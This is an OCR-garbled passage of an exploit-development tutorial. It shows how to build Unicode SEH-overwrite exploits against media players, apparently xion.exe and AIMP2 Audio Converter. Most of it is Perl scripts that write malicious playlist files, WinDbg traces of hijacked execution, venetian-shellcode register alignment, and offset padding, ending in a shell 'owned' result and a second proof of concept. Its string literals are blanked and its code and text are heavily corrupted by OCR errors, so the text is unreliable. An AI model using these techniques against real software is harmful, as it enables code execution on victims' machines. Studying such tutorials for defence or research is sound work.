0x00470C77 [xion.
0x00470E09 [xion.
O0x00470E3B [xion.
O0x00480224 [xion.
0x00480258 {xion.
0x00480378 {xion.
0x00480475 {xion.
Ox0C470EFD {xion.
O0x00470F04 {xion.
O0x0C470F0B [xion.
0x00450B2D (xion.
0x00480833 [xion.exel
at Ox00410068 [xion.exe}
at 0x00410079 [xion.exel
at 0z004400C0 [xion.exe}
Cx00470166 [xion.exe] **

exe]
aexe]
exel
exe]
exel

[xion.
[#i0on.
[xion.
[xion.
[®ion.
[xion.exe]
[xion.exel
[#ion.exe]
[xion.exe]
[xion.exe]

* %
L
KK
* ok
* %
* &
Kk
L
* ¥
* K

&k

* ok
* &
* K
* %k
* &
* &

&k

]

]

]

] * kX
] * K
] * %
] * %
*x
* Rk
*, %
R
* A
exe] **
E
* K
L
* k
* &
* K
exe] **
* Xk

exe] **
* %k
* Kk

PBebugger>typs npre.
Unicode compatible
Unicode compatible
Unicode compatible
Maybe Unicode compatible
Maybe Unicode compatible
Unicode compatible **

Maybe Unicode compatible
Maybe Unicode compatible
Maybe Unicode compatible
Maybe Unicode compatible
Unicode compatible **

Maybe Unicode compatible

Maybe
Maybe
Maybe

Lxt
* &
* K
P
E

*

* K
* %
* %

* K

L

** Maybke Unicode compatible

compatible
compatible
compatible
compatible
compatible
compatible
compatible
compatible
compatible
compatible
compatible
compatible
compatible
compatible
compatible
compatible
compatible
compatible
compatible
compatible
compatible
compatible
compatible
compatible
compatible
compatible
compatible
Maybe Unicode compatible
Maybe Unicode compatible
** Unicode compatible **
*% Unicode compatible *%
**% Unicode compatible **
Maybe Uniccde compatible

Unicode
Unicode
Unicode
Unicode
Unicode
Unicode
Unicode
Unicode
Unicode
Unicode
Unicode
Unicode
Unicode
Unicode
Unicode
Unicode
Unicode
Unicode
Unicode
Unicode
Unicode
Unicode
Unicode
Unicode
Unicode
Unicode
Unicede

Maybe
Maybe
Maybe
Maybe
Mavybe
Maybe
Mavybe
Mavbe
Mavbhe
Maybe
Maybe
Maybe
Maybe
Maybe
Maybe
Maybe
Maybe
Maybe
Maybe
Mavybe
Maybe
Maybe
Maybe
Maybe
Maybe
Maybe
Maybe

¥ %
* *
* %
* %
* K
* *
* %
* &
x K
* ok
* K
* K
* *
* k
* K
* ®
e
* K
* %
**
* %
* &
* %
* %
* K
* K
* %
**

* &

Cfindstr Unicods

The addresses that should draw your immediate attention are the ones that look to be Unicode compatible. The
pvefindaddr script will indicate addresses that have null bytes in the first and third byte. Your task now is to
find the addresses that are compatible with your exploit. Depending on the unicode code page translation that
was used, you may or may not be able to use an address that contains a byte that is > 7§
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As you can see, in this example we are hmxted to addlesscs in the xion.exe executable 1tself which (luckily) is
not safeseh compiled.

If we leave out all addresses that contain bytes > 7f, then we’ll have to work with :
0x00450015, 0x00410068, 0x00410079
Ok, let’s test these 3 addresses and see what happens.

Overwrite SE Handler with one of these addresses, and overwrite next SEH with 2 A’s (0x41 0x41)

Code :
Cimy Stotalsize=5000;
Cmy Sjunk = "M ox 254
timy $nseh=" "; #nseh -> 00410041
my S$seh=" "; #put 00450015 in SE Handler
my Smorestuff=" " x (5000-length($junk.Snseh.Sseh));

‘j Spayload=S8junk.Snseh.$seh.Smorestuff;

g cpen (myfile, ">infosectest.m3u');

"o iprint myfile S$payload;
- close (myfile);
| print " ".length(Spayload)." - My

Resuit :

"1 0:000> lexchain

l 0012f2ac:
| image00400000+50015 (00450015)

- i Invalid exception stack at 00410041

If we place a breakpoint at 00450015, we should see the following result after pressing F35 and then stepping
through the instructions :

0:000> bp 00450015

1 0:000> g
! Breakpoint 0 hit

eax=00000000 ebxz=00000000 2cx=00450015 edx=7c9032bc esi=00000000 =di=00000008

(1 elp=00450015 esp=0012e47c ebp=0012e4%9c iopl=0 nv up ei pl zr na pe nc
1 0cs=001b 55=0023 ds=0023 es=0023 £5=003b gs=0000 ef1=00200246
1 imagel0400000+0x50015:

i 00450015 5b pop ebx

£ 0:000> t
{1 eax=00000000 ebx=7¢c9032a8 ecx=00450015 edx=7c9032bc esi=00000000 edi=00000000
eip=00450016 esp=0012e480 ebp=0012e4%¢c iopl=0 nv up ei pl zr na pe nc
J cs=001b s5=0023 ds=0023 e3=0023 £s=003b gs=0000 efl=0020024¢6
- imageC0400000+0x50016:

t1 00450016 54 pop ebp

©0:000> t

ﬂ eax=00000000 ebx=7c9032a8 ecx=00450015 edx=7c9032bc esi=00000000 edi=00000000
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Ceilp=00450017 esp=0012e484 ebp=0012e564 iopl=0 nv up i pl zZr na pe nc

Ccs=001b ss=0023 ds=0023 es=0023 £s5=003b gs=0000 efl=0020024¢
imageC0400000+0x50017:
00450017 ¢3 ret
0:000> ¢
eax=00000000 ebx=7c9032a8 ecx=00450015 edx=7c8032bc esi=00000C00 edi=00000000
eip=0012f2ac esp=0012e488 ebp=001Z&564 iopl=0 nv up el pl zr na pe nc
cs=001b s5=0023 ds=0023 es5=0023 £s5=003b gs=0000 efl=00200246

- <Unloaded papi.dll>+0x12fZab:
- 0012f2ac 41 inc ecx
0:000> d eip

. 0012f£2ac 41 00 41 00 15 00 45 00-44 00 44 00 44 00 44 00 A.A...E.D.D.D.D.
0012f2bc 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.DB.D.D.
0012£2cc 44 00 44 00 44 00 44 00-44 00 44 C00 44 00 44 0C D.D.D.D.D.DB.D.D.

. 0012£2de 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.

: 0012f2ec 44 00 44 00 44 00 44 00-44 0C 44 CO 44 CO 44 0C D.D.D.D.D.D.D.D.

P 0012f2£c 44 00 44 00 44 0C 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.

- 0012£30c 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 0C D.D.D.D.D.D.D.D.

D.D.D.D.D.D.D.D,

; 0012£f31¢c 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 0OC

We can see the pop pop ret getting executed, and after the ret, a jump is made to the SE record (nseh) at
0012f2ac

‘The first instruction at nseh is 0x41 (which is “inc ecx”). When we dump the contents of eip (before running
the instruction), we see the 2 A’s at nseh (41 00 41 00), followed by '~ : 7 (=SE Handler), and then I’s

(from $morestuff). In a typical SEH based exploit, we would want to jump to the D’s. Now, instead of writing
jumpcode at nseh (which will be almost impossible to do}, we can just “walk” to the D’s.

All we need 15
- some instructions at nseh that will act like a nop, (or can even help us preparing the stack of later on)

- the confirmation that the address at SE Handler (15 00 45 00), when it gets executed as if it were instructions,
don’t do any harm either.

The 2 A’s at nsch, when they are executed, will do this :

eax=00000000 ebx=7c%032a8 ecx=00450015 edx=7¢c9032bc esi=00000000 edi=00G00000

i eip=0012f2ac esp=0012e0cqd ebp=0012elald iopl=0 nv up ei pl zr na pe nc
" es=001b ss=0023 ds=0023 es=0023 £fs=003b gs=0000 efl=00200246
. <Unloaded papi.dll>+0x12f2ab:

: 0012f2ac 41 inc Sox

S 0:000> t

L eax=00000000 ebx=7c9032a8 ecx=00450016 edx=7¢c%032bc esi=00000000 edi=00C00000
Ceip=0012f2ad esp=0012e0cd ebp=0012elal iopl=0 nv up ei pl nz na po nc
Ces=001lb  ss=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00200202
" <Unloaded papi.dll>+0xl2fZac: )

C0012f2ad 004100 add byte pir [ecx],al ds:0023:00450016=5d

The first instruction seems to be more or less harmless, but the second one will cause another exception,
bringing us back at nSEH... so that’s not going to work.
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Perhaps we can use one of the following instructions again :

00 6E 00:add byte ptr {esi],ch
: 00 eF 00:add byte ptr [edi],ch
00 70 00:add byte ptr [eax],dh
00 71 00:add byte ptr [ecx],dh
00 72 00:add byte ptr [edx],dh
00 73 00:add byte ptr [ebx],dh

There are some other instructions that would work as well (62, 6d, and so on)

And perhaps the first instruction (41 = inc eax) could be replaced by a popad (=\x61) {(which will put something
in all registers... this may help us later on)

So ovemﬁite nseh with 0x61 0%62 and see what it does ;

Code :

;émy Stotalsize=5000;

Gmy $junk = " " x 254;

i my $nseh=" "; #nseh -> popad + nop/align
my $seh=" " #fput 00450015 in SE Handler
my Smorestuff=" " x (5000-length{$junk.Snseh.S8seh)};

$payload=5%junk. $nseh, $seh. Smorestuff;

i open(myfile, '>infosectest.m3u');
print myfile S$payload;
fclose(myfile);

Hoprint ¢ - ".length(Spayload) . ;

Result :

' 0:000> !exchain

1 0012f2ag: ***

[ image00400000+50015 (00450015)

‘I Invalid exception stack at 00620061

[ 0:000> bp 00450015

0:000> bp OCl2fZac

1 0:000> g

. Breakpoint 0 hit

- eax=00000000 ebx=00000000 ecx=00450015 edx=7¢9%032bc esi=00000000 edi=00000000

L eip=00450015 esp=0012ed47c ebp=0012e49¢c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 Fs=003b gs=0000 ef1=00200246
¢ imagel0400000+0x50015:
00450015 5b pop ebx
- 0:000> ¢
" 2ax=00000000 ebx=7c%032a8 ecx=00450015 edx=7c9032bc esi=00000000 edi=00000000
P eip=00450016 esp=0012e480 ebp=0012e49c iopl=0 nv up el pl zr na pe nc
- cs=001b  s5=0023 ds=0023 es=0023 £s=003b gs=0000 ef1l=0020024%
i image00400000+0x50016:
S 00450016 54 pop ebp

30 0:000> ¢
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eax=00000000 ebx=7c%032a8 ecxu=00450015 edx=7c%032bc esi=00000000 edi=00000000

eip=00450017 esp=0012e484 ebp=0012e564 iopl=0 nv up ei pl zr na pe nc
c¢s=001b s5s5=0023 ds=0023 es=0023 fs5=003b gs=0000 af1=00200246
© imagel0400000+0x50017:

00450017 c3 ret

0:000> ¢

- Breakpoint 1 hit
eax=00000000 ebx=7c9032a8 ecx=00450015 edx=7¢c2032bc esi=00000000 edi=00000000

eip=0012f2ac esp=0012e488 ebp=0012e564 iopl=D nv up el pl zr na pe nc
cs=001b ss5=0023 ds=0023 es=0023 f£s=003b gs=0000 efl=00200246
<Unlcaded papi.dll>+0x12f2ab: ’
- 00i2f2ac 61 popad
:0:000> t
" eax=0012e564 ebx=0012f2ac ecx=7c¢90327a edx=0012e54¢c esi=0012e538 edi=0012e580
Ceip=0012£f2ad esp=0012ed4ad ebp=0012Ff2ac iopl=0 nv up ei pl zr na pe nc
1 ¢cs=00ib ss=0023 ds=0023 es5=0023 £s=003b g¢gs=0000 ef1=00200246
! <Unloaded papi.dll>+0xi2f2ac:
1 0012f2ad 006200 add byte ptr [edx], ah ds:0023:0012e54c=h8
F0i000> ¢
i eax=0012e564 ebx=0012f2ac ecx=7c%0327a edx=0012e54ic esi=0012e538 edi=0012e580
| eip=0012f2bC esp=0012e4a8 ebp=0012f2ac icpl=0 nv up ei ng nz na po cy
{ c5=001b ss5=0023 ds=0023 e3=0023 f3=003b gs=0000 efl=00200283
[ <Unloaded papi.dll>+0x12f2af:

§ 0012£2b0 1500450044 ade eax,offset <Unlcaded papi.dll>+0x440044£f (44004500)

That works. popad has put something in all registers, and the 006200 instruction acted as some kind of nop.

Note : What usually works best at nseh is a single byte instruction + a nop-alike instruction. There are many
single byte instructions (inc <reg>, dec <reg>, popad), so you should play a little with the instructions until
you get what you want.

The last instruction in the output above shows the next instruction, which is made up of the pointer to
pop/pop/ret (15004500), and apparently one additional byte is taken from the data that sits on the stack right
after SE Handler (44). Qur pointer 00450015 is now converted into an instruction that consists of opcode 15 =
adc eax, followed by an 4 byte offset. (The next byte from the stack was taken to align the instruction. We
control that next byte, it’s not a big issue)

Now we fry to execute what used to be a pointer to pop pop ret. If we can get past the execution of these bytes,
and can start executing opcodes after these 4 bytes, then we have achieved the same thing as if we would have

ran jumpcode at nSEH.

Continue to step (trace) through, and you’ll end up here :

L 0:000> t

| eax=0012e564 ebx=0012f2ac ecx=7c%0327a edx=0012e54c esi=0012e538 edi=0012e580
eip=0012£2b( esp=0012ed4a8 ebp=0012f2ac iopl=0 nv up ei ng nz na po cy

" es=001b s5s5=0023 ds=0023 es=0023 fs=003b gs=000C efl=00200283
<Unloaded papil.dll>+0x12f2af:
0012f2%0 1500450044 adc eax,oifzet <Unloaded papil.dll>+0x440044ff (44004500)
0:000> ¢
cax=44132a65 ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538 edi=0012e580
eip=0012£2b5 esp=0012e4a8 ebp=0012f2ac iopl=0 nv up el pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs5=0000 efl=00200206
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- <Unlcaded papi.dll>+0x12f2b4:
0012£2b5 0440044 add byte ptr [eaxteax+d44h],al ds:0023:8826550e=77

Aha, so we have started to execute code that was put on the stéck after overwriting SE Structure.
We basically tried to run 0044000044, which are ID’s.

Conclusion ;

- we have overwritten SE structure,

- owned EIP (pop pop ret),

- simulated a short jump

- made the application run arbitrary code.

The next challenge is to tumn this into a working exploit. We cannot just put our encoded shellcode here,
because the decoder needs to have a register that points at itself. If you look at the current register values, there
are a lot of registers that point almost at the current location, but none of them points directly at the current
location. So we need to modify one of the registers, and use some padding to put the shellcode exactly where it
needs to be.

Let’s say we want to use eax. We know how to build shellcode that uses eax with alpha2 (which only requires
one register). If you want to use vense.pl, then you would need to prepare an additional register, make it point
to a memory location that 15 writable and executable... but the basic concept is the same.

Anyways, back to using the alpha2 generated code. What we need to do is point eax at the location that points at
the {irst byte of our decoder (=encoded shellcode) and then jump to eax.

Furthermore, the instructions that we will need to write, must be unicode compatible. So we need to use the
venetian shellcode technique that was explained earlier.

- Look at the registers. We could, for example, put ebp in eax and then add a small number of bytes, to jump over
the code that is needed to point eax to the decoder and jump to it.

We’ll probably need to add some padding between this code and the beginning of the decoder, (50 the end result
would be that eax points at the decoder, when the jump is made)

When we put ebp in eax and add 100 bytes, eax will point to 0012f3ac. That’s where the decoder needs to be
placed at. ‘

We control the data at that location :

| 0:000> d 0012£3ac
' 0012f3ac 44 00 44 00 44 0C 44 00-44 00 44 00 44 00 44 00

D.D.D.D. D.
S 0012£3bc 44 C0 44 00 44 00 44 00-44 00 44 00 44 00 44 GO0 D.D.D.D. D.

b.D.D.
D.D.D.
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In order to get ebp+100 into eax, and to jump to eax, we need the following code :

push ebp

pop eax

add eax,0x11001400
sub eax, 0x11001300

push eax
ret

After applying the venetian shellcode technique, this is what needs to be put in the buffer :

my Spreparestuff=" "; itwe need the first D
S$preparestuff=Spreparestuff.” ";  #nop/align
. Spreparestuff=$preparestuff.” ; #push ebp
. $preparestuff=Spreparestuff.” ": #nop/align
" $preparestuff=Spreparestuff.” ";  f#pop eax
i Spreparestuff=Spreparestuff.” " #pop/align
_ Spreparestuff=$preparestuff.” v, $add eax, 0x11001400
. S$preparestuff=$preparestuff.” ", {fpop/align
i Spreparestuff=$preparestuff. " " fsub eax,0x11001300
| Spreparestuff=S$preparestuff.” "y dpop/falign

As we have seen, we need the first D because that byte is used as part of the offset in the instruction that 1s
executed at SE Handler.

After that instruction, we prepare eax so it would point to 0x0012f3ac, and we can make the jump to eax :

Code :

' my Stotalsize=5000;

my $junk = " " x 254;

; my $nseh=" ": #popad + nop

‘my $seh=" " #put 00450015 in SE Handler

Emy Spreparestuff=" "; fwe need the first P

| $preparestuff=$preparestuff.” "; #nop/align

: $preparestuff=Spreparestuff." “; #push ebp

. Spreparestuff=$preparestuff.” "; f#nop/align

. $preparestuff=$preparestuff.” ":  #pop eax

" $preparestuff=S$preparestuff." "; $pop/align

. Spreparestuff=S$preparestuff. " "y ftadd eax,0x11001400

" Spreparestuff=$preparestuff.” ;  #pop/align
Spreparestuff=3%preparestuif."” " #sub eax,0x11001300
Spreparestuff=Spreparestuff.” ", $pop/align
my Sjump = " "; #push eax
$jump=Sjump. " *; #nop/align
Sjump=3%jump." " #ret

Cmy $morestuff=" " x {3000~lengih($junk.$nseh.$seh.$preparestuff.Sjump));

$payload=3%junk. $nseh.$seh.Spreparestuff.Sjump.Smorestuff;
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cpen(myfile, '>infosectest.m3u’);
print myfile $Spayload;
clozel{myfile};

print " T.length ($Spayload) . " ;

Result ;

. This exception may be expected and handled.
2ax=00000044 ebx=02eeZc84 ecx=02dbc588 edx=00130000 esi=02ee2c68 edi=0012f298

- eip=0laecZat esp=0012e84c ebp=0012{f2b8 iopl=0 nv up el pl nz na pe nc
i cs=001b ss5=0023 ds=0023 es=0023 fs5=003b gs=0000 efl=00210206
DefaultPlaylist!XionPluginCreate+(0x18776;
- 0laec2a6 668502 mov word ptr [edx],ax ds:0023:00130000=6341

. Missing image name, possible paged-out or corrupt data.
. Missing image name, possible paged-out or corrupt data.

‘ Missing image name, possible paged-out or corrupt data.

. 0:000> !exchain

©.0012f2ac:

f image(0400000+50015 (00450015)
' Invalid exception stack at 00620061

1 0:000> bp 0012f2ac

L 0:000> g

i Breakpeint 0 hit

i eax=00000000 ebx=7c9032a8 ecx=00450015 edx=7c9032bc esi=00000000 edi=00000000

¢ eip=0012f2ac esp=0012e488 ebp=0012e564 iopl=0 nv up ei pl zr na pe nc
cs=001b  s5=0023 ds=0023 es=0023 fs=003b gs=0000 efl1=00200246
 <Unloaded papi.dil>+0x12f2ab:
: D012f2ac 61 popad
©0:000> t
i eax=0012e564 ebx=0012f2ac ecx=7c90327a edx=0012e54c es5i=0012e538 edi=0012e580
C eip=0012f2ad esp=0012e4a8 ebp=0012f2ac iopl=0 nv up ei pl zr na pe nc
i cs=001p s5s5=0023 ds=0023 es=0022 fs=003b gs=0000 efl=00200246
.+ <Unloaded papi.dli>+Cxl2f2ac:
' 0012f2ad 006200 add byte ptr [edx},ah ds:0023:0012e54c=h8
- 0:000>
i eax=0012e564 ebx=0012f2ac ecx=7c9%0327a edx=0012e54c esi=0012e538 edi=0012e580
| eip=0012£2b0 esp=0012eda8 ebp=0012f2ac iopl=0 nv up ei ng nz na po ¢y
i cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200283
| <Unloaded_papi.dll>+0x12f2af:
1 0012£2b0 1500450044 adc eax,cviiset <Unloaded papi.dll>+0x440044£f {44004500)
1 0:000> .
[ eaxn=44132a65 ebx=0012f2ac ecx=7c¢90327a odx=00172e54c esi=0012e538 edi=0012&580
1 elp=0012£2b5% esp=0012e4a8 ebp=0012f2ac iopl=0 nv up ei pl nz na pe nc
 cs=001b  ss=0023 ds=0023 es=0023 f£s=003b gs=0000 ef1=00200206
' <Unloaded papi.dil>+0x12£2b4:
1 0012£2b3 C06e00 add byte ptr {esi],ch ds:0023:0012e538=63
. 0:000>
S eax=44132a65 ebx=0012f2ac ecx=7¢90327a edx=0012e54c esi=0012e538 edi=0012e580
eip=0012£f2b8 esp=0012e4a8 ebp=0012f2ac iopl=0D ov up ei ng nz na pe nc
¢ 5=001b s5=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00200a86
 <Unloaded papi.dil>+0x12£2b7:
C0012£2b8 35 push ebp
0:000>

| eax=44132a65 ebx=0012f2ac ecx=7c90327a edx=0012e54c e5i=0012e538 edi=0012e580
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eip=0012£2h% esp=0012cdad ebp=0012f2ac iopl=0 ov up &l ng nz na pe nc

: ¢5=001b ss5=0023 ds=0023 es=0023 £s=003b gs=0000 efl=00200a86
<Unlcoaded papi.dil>+0x12f2b8:
0012£2b% 00600 add byte ptr {esi),ch ds:0023:0012e538=85
0:000>
eax=44132a65 ebx~=0012f2ac ecx=7cB0327a edx=0012e54¢c es5i=0012e538 edi=0012e580
elip=0012f2bc esp=0012edad ebp=0012f2ac iopl=0 nv up i ng nz na po nc
cs=001lk ss=0023 ds=0023 es=0023 (fs=003b gs=0000 efl1=00200282
<Unlcaded papi.dli>+0x12f2bb:
0012f2bc 58 pop eax

. 0:000>

. eax=0012f2ac ebx=0012f2ac ecx=7c9%0327a edx=0012e54c esi=0012e538 «di=0012e&580
eip=0012£f2bd esp=0012eda8 ebp=0012fZac iopl=0 nv up ei .ng nz na po nc

. cs=001lb ss5=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200282

- <Unloaded papi.dll>+0x1l2fZbc:

; 0012£f2bd 006200 add byte ptr [esii,ch ds:0023:0012e538=c7

: 0:000>

Ceax=0012f2ac ebx=0012f2ac ecx=7c90327a edx=0012eb54c esi=0012e538 edi=00122580

c eip=0012£2c0 esp=0012ed4a8 ebp=0012fZac iopl=0 nv up i ng nz na pe nc

;es=001b ss8=0023 ds=0023 eg=0023 £fs=003b gs=0000 efl=00200286

| <Unlcaded papi.dli>+0x12f2bf:

©0012£2c0 0500140011 add eax,cffaet BASS+0x1400 (11001400}

C D000

{eax=111306ac ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538 edi=0012e580

| eip=0012£2¢5 esp=0012e4a8 ebp=0012fZac iopl=0C nv up ei pl nz na pe nc

i cs5=001b s5=0023 ds=0023 es=0023 £s=003b gs=0000 ef1=00200206

| <Unloaded_papi.dll>+0x12f2c4:

i 0012£2¢5 006e00 add byte ptr fesi],ch ds:0023:0012e538=£9

0 C:000>

P eax=111306ac ebx=0012f2ac ecx=7c90327a edx=0012e54¢c e5i=0012e538 edi=0012e580

P eip=0012f2c8 esp=0012e4a8 ebp=0012flac iopl=0 nv up €l pl nz na pe cy

“es=001b ss=0023 ds=0023 es=0023 f£s=003b gs=0000 ef1=00200207

. <Unloaded papi.dll>+0x12f2c7:

P 0012f2c8 2400130011 sub eax,offset BASS+0x1300 (11001300)

L 0:000>

: eax=0012f3ac ebx=0012f2ac ecx=T7¢90327a edx=~0012eb54c esi=0012e538 edi=0012e580

. elp=0012f2cd esp=0012ed4a8 ebp=0012f2ac iopl=0 nv up ei pl nz na pe nc

fos=001b s5s5+0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00200206

‘ <Unloaded papi.dll>+0x12f2cc:

- 00l2f2cd 006e00 add byte ptr [esi],ch ds:0023:0012e538=2b

L 0:000> 4 eax

1 0012f3ac 44 00 44 0C 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.

: 0012£f3bc 44 00 44 00 44 GO 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.

©0012f3cc 44 CO0 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.

S 0012f3dec 44 00 44 00 44 00 44 0Q0-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.

{0012f3ec 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.

P 0012£3fc 44 00 44 00 44 00 44 006-44 00 44 G0 44 00 44 00 D.D.D.D.D.D.D.D.
0012f4Cc 44 00 44 00 £4 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0012f41c 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0:000> ¢t
eax=0012f3ac ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538 edi=0012e580

Ceip=0012£2d0 esp=001Z2eda8 ebp=0012fiac iopl=0 nv up ei pl nz na po nc

" es=001b s$s8=0023 ds=0023 es=0023 f£s5=003b gs=0000 af1=00200202

" <Unloaded papi.dlli>+Cxl2fzcf:

CQ012f2d0 50 push eax
0:000> t
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INSTITUTE

eax=0012f3ac ebx=0012f2ac ecx=7¢90327a edx=0012e54c esi=0012e538 edi=0012e580

eip=0012£2d]l esp=001Zed4ad ebp=0012f2ac iopl=D nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 £s5=003b gs=0000 efl=00200202
. <Unloaded papi.dll>+0x12£2d0:
S 0012£2dl 006400 add byte ptr [(ebp]l,ch $5:0023:0012f2ac=61
0:000> t
" eax=0012f3ac ebx=0012f2ac ecx=7c90327a edn=0012e54c es5i=0012e538 edi=0012&580
Ceip=0012f2d4 esp=00i2edad ebp=0012f2ac iopl=D nv up ei ng nz na po nc
cs=001p ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200282
<Unloaded papi.dll>+0x12£2d3:
0012£2d4 c3 ret
i 0:000> ¢
Ceax=0012f3ac ebx=0012f2ac ecx=7c%0327a edx=0012e54c es5i=0012e538 edi=0012e580
+ eip=0012f3ac esp=0012e4a8 ebp=0012fZ2ac iopl=0 nv up e€i ng nz na po nc
o cs=001b s5s=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200282
-t <Unloaded papi.dll>+0x12f3ab:
. 0012f3ac 44 inc esp
Ok, that worked

So now we need to put our shellcode in our payload, making sure it sits at 0012f3ac as well. In order to do so,
we need the offset between the last instruction in our venetian jumpcode (c¢3 = ret) and 001283ac.

0:000> d 0012f2d4

0012£2d4  <©3 00 44 0C 44 00 44 00-44 00 44 00 44 00 44 00 ..D.D.D.D.D.D.D.
0012£2e4 44 0C 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
CO12£2£4 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
. 0012£304 44 00 44 00 44 00 44 00-44 00 44 CO 44 00 44 00 D.D.D.D.D.D.D.D.
 0012£314 44 00 44 00 44 00 44 00-44 00 44 €0 44 00 44 00 D.D.D.D.D.D.D.D.
1 0012£324 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
11 0012£334 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
L 0012£344 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.

. 0:000> d
© 1 0012£354 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0012£364 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0012£374 44 00 44 C0 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0012£384 44 G0 44 00 44 00 44 00-44 00 44 CO 44 C0 44 00 D.D.D.D.D.D.D.D.
0012£394 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0012£3a4 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0012£3b4 44 00 44 00 44 00 44 00-44 00 44 00 44 ©0 44 00 D.D.D.D.D.D.D.D.
D.D.D.D.D.D.D.D.

% 0012£3c4 44 00 44 00 44 00 44 00-44 00 44 00 44 0O 44 00

0012f3ac — 0012f2d5 = 215 bytes. Half of the required amount of bytes will added by the unicode conversion,
so we need to pad 107 bytes (which will be automatically expanded to 214 bytes), then put our shellcode, and
then put more junk (to trigger the exception that eventually leads to triggering our code)

Code :
. my Stotalsize=5000;
Cmy $junk = " ox 2545
my Snseh=" "; f#popad + nop
fmy Sseh=" " #put 00450015 in SE Handler
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my Spreparestuff=" "; ¥we

Spreparestuff=Spreparestuff,

S$preparestuff=$preparestuff.
" Spreparestuff=S$preparestuff.
. Spreparestuff=S§preparestuff.
. Spreparestuff=%preparestuff.
' $preparestuff=S$preparestuff.
! $preparestuff=$preparestuif.
" $preparestuff=$preparestuff.
- Spreparestuff=$preparestuff.

oy Sjump = 7 "; #push eax
S $jump=S$jump. " "; #nop/align
f Sjump=S$jump." " fret
gmy Smorestuff=" " x 107;

imy S$shellcode="

o ERERRY LI,
- r

the first D

frequired to make sure shellcode =

#nop/align
#push ebp
#nop/align
fpop eax
#rop/align
" #add eax,0x110014C00
tpop/align
" fsub eax,0x11001300
#rop/align

cax

my Sevenmorestuff=" " x 4100; #just a guess

Spayload=S$junk.Snseh.Sseh. $preparestuff.$jump. Smorestuff. $shellcode

copen(myfile, '>infosectest.m3u’);
{ print myfile S$payload:

{ closa(myfile);

s print " v length{Spayload) . " :

|

Owned !

.Sevenmorestuf£;
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. my $payload=$header.$junk."” ;

In our first example, we got somewhat lucky. The available buffer space allowed us to use a 524 byte shellcode,
placed after overwriting the SEH record. In fact, 524 bytes is fairly small for unicode shellcode. ..

We may not get this lucky every time,

In the second example, WE’Il discuss the first steps to building a working exploit for AIMP2 Audio Converter
2.51 build 330 (and below).

Poc Code :

it n

my Sheader = 7
Sheader=S%header." "
my $junk=" " x 5000;

open (myfile, '>aimp2sploit.pls');

print myfile $payload;

- print " . length ($payload)." oM
- close (myfile);

Result :

. First chance exceptions are reported before any exception handling.

! This exception may be expected and handled,

eax=001c0020 ebx=00000000 ecx=00000277 edx=00000c48 esi=001d1a58 edi=00130000
eip=004530ct esp=0012dca8 ebp=0012ddéd iopl=0 nv up ei pl nz ac pe nc
cs=001b s5=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210216
AIMPZ!SysutilsWideFormatBuf$ggrpvuipxvuipxldSystenTVarRecxi+0xe?:

004530co £366a5 rep movs word ptr es:{edi],word ptr {esi]

Missing image name, possible paged-out or corrupt data.

. Missing image name, possible paged-out or corrupt data.

i Missing image name, possible paged-out or corrupt data.

.1 0:000> !exchain
1 0012fda0: *** WARNING: Unable to verify checksum for image00400000
f image00400000+10041 (00410041

" Invalid exception stack at 00410041

Using a metasploit pattern, WE have discovered that, on my system, the offset to hit the SEH record is 4065
bytes. After searching for Unicode compatible pop pop ret addresses, WE decided to use 0x0045000F
(aimp2.dll).

We'll overwrite next SEH with 0x41,0x6d (inc ecx + nop), and put 1000 B’s after overwriting the SEH record :

Code :
é‘my'Sheader =" "
Sheader=S%$header." "

my $junk=" " x 4065;
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my $nseh=" "; # inc ecx + add byte ptr {ebpl,ch

D my S$seh=" ";  #0045000F aimp2.dll Universal ? => gpush cs + add byte ptr
: [ebpl,al
‘my Srest = " " x 1000;

" my Spayload=Sheader.$junk.S%nseh.$seh.Srest." ;

H

E open{myfile, ">aimp2sploit.pls®);

Cprint ¢ " . length (Spayload) . :

print myfile S$payload;

: closg (myfile);

Result :

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

